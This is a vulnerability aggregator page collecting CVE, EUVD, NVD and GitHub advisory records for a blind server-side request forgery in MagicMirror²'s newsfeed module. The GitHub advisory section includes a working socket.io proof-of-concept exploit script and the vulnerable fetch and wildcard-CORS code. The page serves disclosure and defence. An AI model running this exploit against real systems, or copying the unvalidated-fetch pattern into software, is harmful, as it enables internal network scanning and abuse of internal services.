MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-63642
PublishedMagicMirror² is an open source modular smart mirror platform. Prior to 2.37.0, checkArticleUrl in defaultmodules/newsfeed/node_helper.js accepts the CHECK_ARTICLE_URL notification through the unauthenticated Socket.IO namespace /newsfeed and performs fetch(url, { method: "HEAD" }) without validating the attacker-controlled URL. The helper returns ARTICLE_URL_STATUS containing the URL and framing result, providing a response and timing oracle that can identify internal hosts and ports and trigger side effects on services that react to HEAD requests. This issue is fixed in version 2.37.0.
- Source published
- 18 Aug 2026 17:22:02 UTC
- Source modified
- 19 Aug 2026 15:06:31 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
euvd · EUVD-2026-61072
PublishedMagicMirror² is an open source modular smart mirror platform. Prior to 2.37.0, checkArticleUrl in defaultmodules/newsfeed/node_helper.js accepts the CHECK_ARTICLE_URL notification through the unauthenticated Socket.IO namespace /newsfeed and performs fetch(url, { method: "HEAD" }) without validating the attacker-controlled URL. The helper returns ARTICLE_URL_STATUS containing the URL and framing result, providing a response and timing oracle that can identify internal hosts and ports and trigger side effects on services that react to HEAD requests. This issue is fixed in version 2.37.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 18, 2026, 5:22:02 PM
dateUpdated: Aug 19, 2026, 3:06:31 PM
- Source published
- Aug 18, 2026, 5:22:02 PM (timezone not stated)
- Source modified
- Aug 19, 2026, 3:06:31 PM (timezone not stated)
- Observed here
- 7 Nov 2026 13:30:13 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
nvd · CVE-2026-63642
PublishedMagicMirror² is an open source modular smart mirror platform. Prior to 2.37.0, checkArticleUrl in defaultmodules/newsfeed/node_helper.js accepts the CHECK_ARTICLE_URL notification through the unauthenticated Socket.IO namespace /newsfeed and performs fetch(url, { method: "HEAD" }) without validating the attacker-controlled URL. The helper returns ARTICLE_URL_STATUS containing the URL and framing result, providing a response and timing oracle that can identify internal hosts and ports and trigger side effects on services that react to HEAD requests. This issue is fixed in version 2.37.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-08-18T18:19:12.117
lastModified: 2026-10-22T22:10:00.250
- Source published
- 18 Aug 2026 18:19:12 UTC
- Source modified
- 22 Oct 2026 22:10:00 UTC
- Observed here
- 25 Oct 2026 15:18:45 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-998g-7v5w-cr7g
Published# Vulnerability — Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror² newsfeed) > Analysis of the PoC `exploit-ssrf-newsfeed.js`. > Target: `newsfeed/node_helper.js` of MagicMirror², socket.io namespace `/newsfeed`. --- ## Identification | Field | Value | |-------|-------| | **PoC file** | `exploit-ssrf-newsfeed.js` | | **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` | | **Precondition** | reach the mirror's HTTP port (no authentication required) | --- ## Description The `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: "HEAD" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`. This gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target. The actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service's log), since the `canFrame` field alone leaks little. --- ## Root cause: unauthenticated socket.io channel + permissive CORS The socket.io server accepts connections from **any origin** and with **no authentication**: ```js const io = new Server(server, { cors: { origin: /.*$/, credentials: true } }); ``` The `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror's port can emit the notification. --- ## Exploit (`exploit-ssrf-newsfeed.js`) ```js const { io } = require("socket.io-client"); const TARGET = process.env.MM || "https://target/"; const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site"; const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] }); socket.onAny((event, payload) => { if (event === "ARTICLE_URL_STATUS") { console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`); console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF)."); process.exit(0); } }); socket.on("connect", () => { console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`); socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT }); }); setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000); ``` --- ## Vulnerable target code (pattern) ```js async checkArticleUrl(url) { const res = await fetch(url, { method: "HEAD" }); const canFrame = !res.headers.get("x-frame-options") && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || ""); this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame }); } ``` --- ## Impact - **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive. - Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC). - Although it's HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD. --- ### References - CWE-918: Server-Side Request Forgery (SSRF) - CWE-306: Missing Authentication for Critical Function - CWE-942: Permissive Cross-domain Policy with Untrusted Domains - OWASP: SSRF Prevention Cheat Sheet > This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
- Source published
- 18 Aug 2026 17:26:46 UTC
- Source modified
- 18 Aug 2026 17:41:04 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Publisher rating · MODERATE